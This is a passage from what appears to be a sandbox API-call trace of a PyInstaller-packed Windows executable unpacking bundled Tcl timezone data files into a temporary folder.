"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.786] GetFileType (hFile=0x10c) returned 0x1 [0038.786] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.786] CloseHandle (hObject=0x10c) returned 1 [0038.786] GetLastError () returned 0x0 [0038.786] SetLastError (dwErrCode=0x0) [0038.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.786] GetFileType (hFile=0x10c) returned 0x1 [0038.786] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.787] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.787] CloseHandle (hObject=0x10c) returned 1 [0038.787] GetLastError () returned 0x0 [0038.787] SetLastError (dwErrCode=0x0) [0038.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ensenada") returned 73 [0038.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ensenada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\ensenada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.787] GetLastError () returned 0x2 [0038.787] SetLastError (dwErrCode=0x2) [0038.787] GetLastError () returned 0x2 [0038.787] SetLastError (dwErrCode=0x2) [0038.787] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ensenada", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ensenada", lpFilePart=0x0) returned 0x48 [0038.787] GetLastError () returned 0x2 [0038.787] SetLastError (dwErrCode=0x2) [0038.787] GetLastError () returned 0x2 [0038.787] SetLastError (dwErrCode=0x2) [0038.787] GetLastError () returned 0x2 [0038.787] SetLastError (dwErrCode=0x2) [0038.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ensenada") returned 73 [0038.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ensenada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\ensenada"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.788] GetFileType (hFile=0x10c) returned 0x1 [0038.788] htonl (hostlong=0xb9000000) returned 0xb9 [0038.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.788] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0038.789] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.789] CloseHandle (hObject=0x10c) returned 1 [0038.790] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d428 | out: hHeap=0x530000) returned 1 [0038.790] htonl (hostlong=0x30000000) returned 0x30 [0038.790] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.790] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.790] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.790] GetFileType (hFile=0x10c) returned 0x1 [0038.790] htonl (hostlong=0x1eff5800) returned 0x58ff1e [0038.790] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5daf1e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.790] htonl (hostlong=0x92000000) returned 0x92 [0038.790] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0038.790] htonl (hostlong=0x92000000) returned 0x92 [0038.790] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.790] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.790] htonl (hostlong=0xe2000000) returned 0xe2 [0038.790] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe2) returned 0x550600 [0038.790] htonl (hostlong=0x92000000) returned 0x92 [0038.790] htonl (hostlong=0xe2000000) returned 0xe2 [0038.790] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.790] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.790] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.790] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.790] CloseHandle (hObject=0x10c) returned 1 [0038.791] GetLastError () returned 0x0 [0038.791] SetLastError (dwErrCode=0x0) [0038.791] GetLastError () returned 0x0 [0038.791] SetLastError (dwErrCode=0x0) [0038.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.791] GetFileType (hFile=0x10c) returned 0x1 [0038.791] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.791] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.791] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.791] CloseHandle (hObject=0x10c) returned 1 [0038.791] GetLastError () returned 0x0 [0038.791] SetLastError (dwErrCode=0x0) [0038.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.791] GetFileType (hFile=0x10c) returned 0x1 [0038.791] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.792] CloseHandle (hObject=0x10c) returned 1 [0038.792] GetLastError () returned 0x0 [0038.792] SetLastError (dwErrCode=0x0) [0038.792] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.792] GetFileType (hFile=0x10c) returned 0x1 [0038.792] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.793] CloseHandle (hObject=0x10c) returned 1 [0038.793] GetLastError () returned 0x0 [0038.793] SetLastError (dwErrCode=0x0) [0038.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fort_Wayne") returned 75 [0038.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fort_Wayne" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\fort_wayne"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.793] GetLastError () returned 0x2 [0038.793] SetLastError (dwErrCode=0x2) [0038.793] GetLastError () returned 0x2 [0038.793] SetLastError (dwErrCode=0x2) [0038.793] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fort_Wayne", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fort_Wayne", lpFilePart=0x0) returned 0x4a [0038.793] GetLastError () returned 0x2 [0038.793] SetLastError (dwErrCode=0x2) [0038.793] GetLastError () returned 0x2 [0038.793] SetLastError (dwErrCode=0x2) [0038.793] GetLastError () returned 0x2 [0038.793] SetLastError (dwErrCode=0x2) [0038.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fort_Wayne") returned 75 [0038.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fort_Wayne" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\fort_wayne"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.793] GetFileType (hFile=0x10c) returned 0x1 [0038.793] htonl (hostlong=0xe2000000) returned 0xe2 [0038.793] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.793] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe2, lpOverlapped=0x0) returned 1 [0038.794] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.794] CloseHandle (hObject=0x10c) returned 1 [0038.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.795] htonl (hostlong=0x30000000) returned 0x30 [0038.795] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.795] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.795] GetFileType (hFile=0x10c) returned 0x1 [0038.795] htonl (hostlong=0xb0ff5800) returned 0x58ffb0 [0038.795] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dafb0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.795] htonl (hostlong=0x78010000) returned 0x178 [0038.795] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x178) returned 0x550600 [0038.796] htonl (hostlong=0x78010000) returned 0x178 [0038.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.796] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.796] htonl (hostlong=0x72050000) returned 0x572 [0038.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x572) returned 0x55e278 [0038.796] htonl (hostlong=0x78010000) returned 0x178 [0038.796] htonl (hostlong=0x72050000) returned 0x572 [0038.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.796] CloseHandle (hObject=0x10c) returned 1 [0038.796] GetLastError () returned 0x0 [0038.796] SetLastError (dwErrCode=0x0) [0038.796] GetLastError () returned 0x0 [0038.796] SetLastError (dwErrCode=0x0) [0038.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.796] GetFileType (hFile=0x10c) returned 0x1 [0038.796] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.796] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.797] CloseHandle (hObject=0x10c) returned 1 [0038.797] GetLastError () returned 0x0 [0038.797] SetLastError (dwErrCode=0x0) [0038.797] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.797] GetFileType (hFile=0x10c) returned 0x1 [0038.797] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.797] SystemTimeToTzSpecificLocalTime (in: 